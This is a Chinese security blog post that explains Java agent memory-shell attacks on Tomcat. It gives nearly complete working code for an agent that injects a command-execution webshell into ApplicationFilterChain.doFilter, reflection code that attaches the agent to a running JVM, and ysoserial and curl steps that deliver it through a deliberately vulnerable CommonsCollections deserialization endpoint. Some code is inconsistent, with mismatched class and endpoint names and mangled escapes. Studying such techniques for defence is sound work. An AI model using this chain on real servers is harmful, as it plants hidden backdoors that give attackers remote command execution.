深入探究agent内存马攻击原理

admin 2024年10月10日21:11:45评论33 views字数 12019阅读40分3秒阅读模式

一、什么是agent内存马

Java agent本质上可以理解为一个插件,该插件就是一个精心提供的jar包。只是启动方式和普通Jar包有所不同,对于普通的Jar包,通过指定类的main函数进行启动。但是Java Agent并不能单独启动,必须依附在一个Java应用程序运行,在面向切面编程方面应用比较广泛。Java agent 的jar包通过JVMTI(JVM Tool Interface)完成加载,最终借助JPLISAgent(Java Programming Language Instrumentation Services Agent)完成对目标代码的修改。主要功能如下:

  • 可以在加载java文件之前做拦截把字节码做修改

  • 可以在运行期将已经加载的类的字节码做变更

  • 比如我们用到过的Jcoco,Arthas, chaosblade等,都是使用Java agent技术来实现

agent内存马的本质就是通过agentmain方法,修改正在运行的Java类,在其中插入恶意直接码,从而达到命令执行

二、前置知识

Instrumentation类

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

addTransformer方法

该方法定义如下

void addTransformer(ClassFileTransformer transformer);

addTransformer 方法来用于注册Transformer(转换器),所以我们可以通过编写实现 ClassFileTransformer 接口的类,来注册我们自己的转换器,在agent拦截修改类时,便会调用我们所传入转换器对象transformer方法

Instrumentation 中含有名为 transformer 的 Class 文件转换器,在agent对类进行拦截修改时,便调用该方法,该方法可以改变二进制流的数据

getAllLoadedClasses方法

该方法定义如下

Class[] getAllLoadedClasses();

我们可以通过getAllLoadedClasses 方法获取所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

一个简单的demo

Agdemo.java

import java.lang.instrument.Instrumentation;

public class Agdemo {
public static void premain(String agentArgs,Instrumentation ins){
Class[] classes=ins.getAllLoadedClasses();
for(Class c:classes){
System.out.println(c.getName());
}
}
}

其他文件仍与上文相同

执行以下命令运行

java -javaagent:agent.jar=111 -jar hello.jar

成功输出所有已加载的类

深入探究agent内存马攻击原理

retransformClasses方法

该方法定义如下

void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

retransformClasses 方法可以重新定义已加载的 class ,当我们想修改一个已经加载的类的时候可以调用该函数,来重新触发这个Transformer*(也就是addTransformer注册的转换器的transform方法)*的拦截,以此达到对已加载的类进行字节码修改的效果

VirtualMachine类

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(JVM加载的类),常用的方法有LoadAgentAttach 和 Detach 。

Attach :通过jvm的id连接jvm

VirtualMachine vm = VirtualMachine.attach(v.id());
//v为VirtualMachineDescriptor对象,下文有讲

loadAgent:向Attach方法获取的jvm注册一个代理程序agent

String path = "AgentMain.jar的路径";
vm.loadAgent(path)

Detach:从 JVM 上面解除一个代理(agent)

VirtualMachineDescriptor类

VirtualMachineDescriptor 是一个描述虚拟机的容器类,可以通过VirtualMachine.list()获取,

 List<VirtualMachineDescriptor> list = VirtualMachine.list();

常用的方法有

displayName():获取当前jvm运行的主类名

id():获取当前jvm的id,得到id后就可以用VirtualMachine.attach()方法通过id获得该虚拟机,然后再使用VirtualMachine.loadAgent()方法对该id注册agent

三、两种agent

Java agent一共分为两种:

premain 方法:在jvm启动时执行(该特性在 jdk 1.5 之后才有)

agentmain方法:在jvm加载后执行(该特性在 jdk 1.6 之后才有)

普通的 Java 类是以 main 函数作为入口,Java Agent 的入口则是 premain 和 agentmain

premain 方法

我们先创建一个类实现 premain 方法

Agdemo.java

import java.lang.instrument.Instrumentation;

public class Agdemo {
public static void premain(String agentArgs,Instrumentation ins){
Class[] classes=ins.getAllLoadedClasses();
System.out.println(agentArgs);
for(Class c:classes){
System.out.println(c.getName()); //测试上文的getAllLoadedClasses方法
}
}
}

同时创建对应的清单(main fest

agent.mf (注意最后一行要为空格)

Manifest-Version: 1.0
Premain-Class: Agdemo

这里补充下mf文件的知识,大致选项如下

Main-Class:包含 main 方法的类(类的全路径名)
Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

然后使用javac将其编译为class文件

javac Agdemo.java

然后将class文件和mf一起打包为jar,获取代理程序 agent.jar,即为我们的代理程序

jar cvfm agent.jar agent.mf Agdemo.class

然后创建我们被代理的类

Hello.java

public class Hello {

public static void main(String[] args) {

System.out.println("Hello,World");

}
}

然后创建清单 Hello.mf

Manifest-Version: 1.0
Main-Class: Hello

同样将其编译为class文件

javac Hello.java

然后和清单一起打包为jar文件,我们得到被代理的程序 hello.jar

jar cvfm hello.jar Hello.mf Hello.class

然后使用java命令,使用agent代理运行 hell.jar

java -javaagent:agent.jar=114514 -jar hello.jar

成功运行

深入探究agent内存马攻击原理

agent方法

agent代理的设置与premain略有不同,需要用到VirtualMachine 和 VirtualMachineDescriptor类,获取其jvm的id,然后对其注册agent代理

具体流程如下

深入探究agent内存马攻击原理

我们同样需要创建一个实现agentmain方法的类

Agenttest.java

import java.lang.instrument.Instrumentation;

public class Agenttest {
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new MyTransformer(),true); //MyTransformer()类是需要自己编写的
}
}

编写一个实现了ClassFileTransformer的转换器类

MyTransformer.java

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return classfileBuffer;
}
}

然后创建清单 agentmain.mf(注意要留一行空格)

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Agenttest

然后编译并打包,获得代理程序 AgentMain.jar

javac Agenttest.java
javac MyTransformer.java
jar cvfm AgentMain.jar agmain.mf Agenttest.class MyTransformer.class

下一步编写我们被代理的类

这个类中需要导入VirtualMachine 类与VirtualMachineDescriptor类

这里有些坑:

mac环境下jdk是能直接找到 VirtualMachine 类

但是在windows中jdk中无法找到,可以手动将jdk目录下的lib目录中的tools.jar添加进当前工程的Libraries中

并且在Java9及以后的版本不允许SelfAttach(即无法attach自身的进程),会报错Can not attach to current VM,我们在运行时添加参数 -Djdk.attach.allowAttachSelf=true即可

创建被代理的类 Hello.java

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Hello {
public static void main(String[] args) throws Exception{
String path = "AgentMain.jar的路径";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
System.out.println(v.displayName());
if (v.displayName().contains("Hello")){
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
vm.detach();
}
}
}
}

成功运行

深入探究agent内存马攻击原理

这里解释下为什么会输出上面四个类

当一个类被加载到 JVM 中时,类加载器会通知 Java 虚拟机,然后 Java 虚拟机会调用注册的 ClassFileTransformer 实现类的 transform 方法来处理这个类

  1. Hello类就是我们定义的入口类

  2. java.lang.IndexOutOfBoundsException:这是一个运行时异常类,表示索引越界异常。当试图访问数组、集合或字符串等数据结构中不存在的索引时,就会抛出此异常。通常情况下,这意味着程序试图访问一个超出有效范围的位置。

  3. java.lang.Shutdown:这是一个用于 JVM 关闭操作的辅助类。它包含一些静态方法,用于注册虚拟机关闭时要执行的动作。例如,可以使用 addShutdownHook 方法注册一个关闭挂钩(shutdown hook),以便在 JVM 即将关闭时执行某些清理操作。

  4. java.lang.Shutdown$Lock:这是 Shutdown 类中的内部静态类,用于实现对 JVM 关闭操作的同步锁定。在 JVM 关闭过程中,需要确保对关闭操作的同步执行,以避免并发问题,Shutdown$Lock 类就是为此而设计的。

上面的2,3,4类都是JVM在运行时必加载的基础类

四、Agent内存马实现

因为实战环境中我们说攻击的jvm虚拟机肯定都是已经启动的,故premain无法使用,所以我们需要通过agentmain,调用Instrumentation.retransformClasses()方法,调用我们自定义的transform转换器,重转换一个一定会被执行的类,并且往这个类中插入恶意字节码不影响其原来的业务逻辑

ApplicationFilterChain类

ApplicationFilterChain类中的doFilter方法便是我们要寻找的要注入内存马的类

深入探究agent内存马攻击原理

当我们向tomcat服务器发送一个请求,一定会经过Filter

在 Java Web 中,Filter 是一种用于在 Servlet 被调用之前或之后对请求进行预处理或后处理的组件。它允许开发人员在 Servlet 的请求处理过程中添加额外的逻辑,而无需修改 Servlet 本身

在请求经过Filter时便会调用doFilter方法

doFilter 方法是 Filter 接口中的一个方法,用于对请求进行过滤处理。具体来说,它的作用包括:

  1. 预处理请求:在 Servlet 被调用之前,Filter 的 doFilter 方法会被调用,开发人员可以在这里对请求进行预处理,例如验证请求参数、检查用户身份、设置字符编码等。

  2. 调用下一个 Filter 或 Servlet:在对请求进行预处理之后,Filter 的 doFilter 方法通常会调用 FilterChain 的 doFilter 方法,将请求传递给下一个 Filter 或 Servlet。这样可以形成 Filter 链,多个 Filter 可以依次对请求进行处理。

漏洞复现

这里用cc 3.2.1 +springframework的环境,利用cc链11给提供web服务的对象注册agent代理

创建漏洞类 CommonsCollectionsVuln.java

package org.example.agentmm.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {

@ResponseBody
@RequestMapping("/cc")
public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Hello,World";
}

@ResponseBody
@RequestMapping("/test")
public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
return "This is Elite!";
}
}

然后在pom.xml中添加依赖项如下

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>

下一步创建agentmain代理,作用是:遍历找到要攻击类对应的JVM中的ApplicationFilterChain类,然后对其进行重定义

AgentMain.java

import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new MyTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}

然后创建我们的转换器,其作用是如果传入的类为ApplicationFilterChain,则对其doFilter方法插入恶意字节码

MyTransformer.java

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {

public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;n" +
"javax.servlet.http.HttpServletResponse res = response;n" +
"java.lang.String cmd = request.getParameter("cmd");n" +
"if (cmd != null){n" +
" try {n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" +
" String line;n" +
" StringBuilder sb = new StringBuilder("");n" +
" while ((line=reader.readLine()) != null){n" +
" sb.append(line).append("\n");n" +
" }n" +
" response.getOutputStream().print(sb.toString());n" +
" response.getOutputStream().flush();n" +
" response.getOutputStream().close();n" +
" } catch (Exception e){n" +
" e.printStackTrace();n" +
" }n" +
"}");
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

执行以下命令,对项目打包为 agent.jar

mvn assembly:assembly

然后我们构造cc链11反序列化执行的代码

tools.jar 并不会在 JVM 启动时默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

该代码的作用是找到当前受攻击类的JVM然后对其注册agent

Test.java

try{
java.lang.String path = "C:/Users/Elite/Desktop/agent.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("org.example.agentmm.demos.web.Applicationmain")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

然后用yso生成cc链

java -jar ysoserial.jar CommonsCollections6 codefile:./Test.java > cc11demo.ser

最后使用curl访问发包即可

curl -v "http://localhost:8080/cc11" --data-binary "@./cc11demo.ser"

我们访问传参测试,成功rce

深入探究agent内存马攻击原理

【来源】:https://forum.butian.net/share/3775
【作者】:Elite

原文始发于微信公众号(船山信安):深入探究agent内存马攻击原理

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日21:11:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深入探究agent内存马攻击原理https://cn-sec.com/archives/3247212.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息